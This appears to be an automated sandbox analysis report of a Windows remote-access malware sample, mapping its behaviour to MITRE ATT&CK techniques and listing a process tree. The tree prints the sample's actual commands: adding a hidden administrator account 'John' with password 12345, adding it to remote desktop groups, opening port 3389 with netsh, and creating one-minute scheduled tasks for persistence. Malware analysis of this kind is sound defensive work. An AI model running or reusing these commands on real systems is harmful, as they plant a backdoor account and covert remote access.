rms | 6f78a9ec4dde9902a9eafe74d46d3807c1807323202ae51f54bf1c3874bbac77

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	smss.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2228	netsh.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	RDPWinst.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	smss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	smss.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Control Panel\International\Geo\Nation	winserv.exe

Executes dropped EXE 6 IoCs

pid	Process
2520	winserv.exe
1956	winserv.exe
904	winserv.exe
1656	RDPWinst.exe
1464	winserv.exe
676	winserv.exe

Loads dropped DLL 1 IoCs

pid	Process
592	Process not Found

Themida packer 15 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral7/memory/1752-0-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-2-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-3-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-4-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-5-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-6-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-7-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-8-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-9-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-15-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-29-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-32-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-74-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-115-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida
behavioral7/memory/1752-130-0x000000013FC00000-0x0000000140A59000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	smss.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	RDPWinst.exe

AutoIT Executable 13 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral7/memory/1752-3-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe
behavioral7/memory/1752-4-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe
behavioral7/memory/1752-5-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe
behavioral7/memory/1752-6-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe
behavioral7/memory/1752-7-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe
behavioral7/memory/1752-8-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe
behavioral7/memory/1752-9-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe
behavioral7/memory/1752-15-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe
behavioral7/memory/1752-29-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe
behavioral7/memory/1752-32-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe
behavioral7/memory/1752-74-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe
behavioral7/memory/1752-115-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe
behavioral7/memory/1752-130-0x000000013FC00000-0x0000000140A59000-memory.dmp	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1752	smss.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\RDP Wrapper\rdpwrap.ini	smss.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	RDPWinst.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	RDPWinst.exe
File opened for modification	C:\Program Files\RDP Wrapper	smss.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	smss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	smss.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2428	schtasks.exe
2704	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2788	timeout.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Charset	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Codepage	smss.exe

NTFS ADS 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\sss\Install\winmgmts:\	smss.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\sss\Install\WinMgmts:\	smss.exe
File opened for modification	C:\ProgramData\Setup\winmgmts:\	smss.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
2520	winserv.exe
2520	winserv.exe
2520	winserv.exe
2520	winserv.exe
2520	winserv.exe
1956	winserv.exe
1956	winserv.exe
1956	winserv.exe
1956	winserv.exe
904	winserv.exe
904	winserv.exe
904	winserv.exe
904	winserv.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1752	smss.exe
1464	winserv.exe
1464	winserv.exe
1464	winserv.exe
1464	winserv.exe
676	winserv.exe
676	winserv.exe
676	winserv.exe
676	winserv.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
592	Process not Found
592	Process not Found
592	Process not Found
592	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2520	winserv.exe
Token: SeTakeOwnershipPrivilege	1956	winserv.exe
Token: SeTcbPrivilege	1956	winserv.exe
Token: SeTcbPrivilege	1956	winserv.exe
Token: SeDebugPrivilege	1656	RDPWinst.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
2520	winserv.exe
2520	winserv.exe
2520	winserv.exe
2520	winserv.exe
1956	winserv.exe
1956	winserv.exe
1956	winserv.exe
1956	winserv.exe
904	winserv.exe
904	winserv.exe
904	winserv.exe
904	winserv.exe
1464	winserv.exe
1464	winserv.exe
1464	winserv.exe
1464	winserv.exe
676	winserv.exe
676	winserv.exe
676	winserv.exe
676	winserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1752 wrote to memory of 2428	1752	smss.exe	29
PID 1752 wrote to memory of 2428	1752	smss.exe	29
PID 1752 wrote to memory of 2428	1752	smss.exe	29
PID 1752 wrote to memory of 2704	1752	smss.exe	31
PID 1752 wrote to memory of 2704	1752	smss.exe	31
PID 1752 wrote to memory of 2704	1752	smss.exe	31
PID 1752 wrote to memory of 2520	1752	smss.exe	37
PID 1752 wrote to memory of 2520	1752	smss.exe	37
PID 1752 wrote to memory of 2520	1752	smss.exe	37
PID 1752 wrote to memory of 2520	1752	smss.exe	37
PID 900 wrote to memory of 904	900	taskeng.exe	40
PID 900 wrote to memory of 904	900	taskeng.exe	40
PID 900 wrote to memory of 904	900	taskeng.exe	40
PID 900 wrote to memory of 904	900	taskeng.exe	40
PID 1752 wrote to memory of 2600	1752	smss.exe	41
PID 1752 wrote to memory of 2600	1752	smss.exe	41
PID 1752 wrote to memory of 2600	1752	smss.exe	41
PID 2600 wrote to memory of 1640	2600	cmd.exe	43
PID 2600 wrote to memory of 1640	2600	cmd.exe	43
PID 2600 wrote to memory of 1640	2600	cmd.exe	43
PID 1640 wrote to memory of 2352	1640	net.exe	44
PID 1640 wrote to memory of 2352	1640	net.exe	44
PID 1640 wrote to memory of 2352	1640	net.exe	44
PID 1752 wrote to memory of 1520	1752	smss.exe	45
PID 1752 wrote to memory of 1520	1752	smss.exe	45
PID 1752 wrote to memory of 1520	1752	smss.exe	45
PID 1520 wrote to memory of 1444	1520	cmd.exe	47
PID 1520 wrote to memory of 1444	1520	cmd.exe	47
PID 1520 wrote to memory of 1444	1520	cmd.exe	47
PID 1444 wrote to memory of 1276	1444	net.exe	48
PID 1444 wrote to memory of 1276	1444	net.exe	48
PID 1444 wrote to memory of 1276	1444	net.exe	48
PID 1752 wrote to memory of 1076	1752	smss.exe	49
PID 1752 wrote to memory of 1076	1752	smss.exe	49
PID 1752 wrote to memory of 1076	1752	smss.exe	49
PID 1076 wrote to memory of 2084	1076	cmd.exe	51
PID 1076 wrote to memory of 2084	1076	cmd.exe	51
PID 1076 wrote to memory of 2084	1076	cmd.exe	51
PID 2084 wrote to memory of 2012	2084	net.exe	52
PID 2084 wrote to memory of 2012	2084	net.exe	52
PID 2084 wrote to memory of 2012	2084	net.exe	52
PID 1752 wrote to memory of 2288	1752	smss.exe	53
PID 1752 wrote to memory of 2288	1752	smss.exe	53
PID 1752 wrote to memory of 2288	1752	smss.exe	53
PID 1752 wrote to memory of 2612	1752	smss.exe	55
PID 1752 wrote to memory of 2612	1752	smss.exe	55
PID 1752 wrote to memory of 2612	1752	smss.exe	55
PID 2288 wrote to memory of 1260	2288	cmd.exe	57
PID 2288 wrote to memory of 1260	2288	cmd.exe	57
PID 2288 wrote to memory of 1260	2288	cmd.exe	57
PID 1260 wrote to memory of 2980	1260	net.exe	58
PID 1260 wrote to memory of 2980	1260	net.exe	58
PID 1260 wrote to memory of 2980	1260	net.exe	58
PID 2612 wrote to memory of 2988	2612	cmd.exe	59
PID 2612 wrote to memory of 2988	2612	cmd.exe	59
PID 2612 wrote to memory of 2988	2612	cmd.exe	59
PID 1752 wrote to memory of 1336	1752	smss.exe	60
PID 1752 wrote to memory of 1336	1752	smss.exe	60
PID 1752 wrote to memory of 1336	1752	smss.exe	60
PID 2988 wrote to memory of 2284	2988	net.exe	62
PID 2988 wrote to memory of 2284	2988	net.exe	62
PID 2988 wrote to memory of 2284	2988	net.exe	62
PID 1336 wrote to memory of 1824	1336	cmd.exe	63
PID 1336 wrote to memory of 1824	1336	cmd.exe	63

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\sss\Install\smss.exe
"C:\Users\Admin\AppData\Local\Temp\sss\Install\smss.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Checks processor information in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
  2⤵
  - Creates scheduled task(s)
  PID:2428
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
  2⤵
  - Creates scheduled task(s)
  PID:2704
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2520
- - C:\ProgramData\Windows Tasks Service\winserv.exe
    "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user John 12345 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\net.exe
    net user John 12345 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1640
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user John 12345 /add
      4⤵
      PID:2352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Windows\system32\net.exe
    net localgroup "Администраторы" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1444
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Администраторы" John /add
      4⤵
      PID:1276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\system32\net.exe
    net localgroup "Пользователи удаленного рабочего стола" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2084
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
      4⤵
      PID:2012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\Windows\system32\net.exe
    net localgroup "Пользователи удаленного управления" john /add" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1260
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
      4⤵
      PID:2980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\system32\net.exe
    net localgroup "Administrators" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2988
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Administrators" John /add
      4⤵
      PID:2284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1336
- - C:\Windows\system32\net.exe
    net localgroup "Administradores" John /add
    3⤵
    PID:1824
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Administradores" John /add
      4⤵
      PID:2080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
  2⤵
  PID:820
- - C:\Windows\system32\net.exe
    net localgroup "Remote Desktop Users" john /add
    3⤵
    PID:784
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
      4⤵
      PID:2264
- C:\ProgramData\RDPWinst.exe
  C:\ProgramData\RDPWinst.exe -i
  2⤵
  - Sets DLL path for service in the registry
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in Program Files directory
  - Suspicious use of AdjustPrivilegeToken
  PID:1656
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
    3⤵
    - Modifies Windows Firewall
    PID:2228
- C:\Windows\system32\cmd.exe
  cmd /c C:\Programdata\Install\del.bat
  2⤵
  PID:2568
- - C:\Windows\system32\timeout.exe
    timeout 5
    3⤵
    - Delays execution with timeout.exe
    PID:2788

C:\Windows\system32\taskeng.exe
taskeng.exe {916B53EC-06F1-40FE-A332-1357D6304647} S-1-5-21-778096762-2241304387-192235952-1000:AYFLYVMK\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:900
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:904
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1464
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

System Information Discovery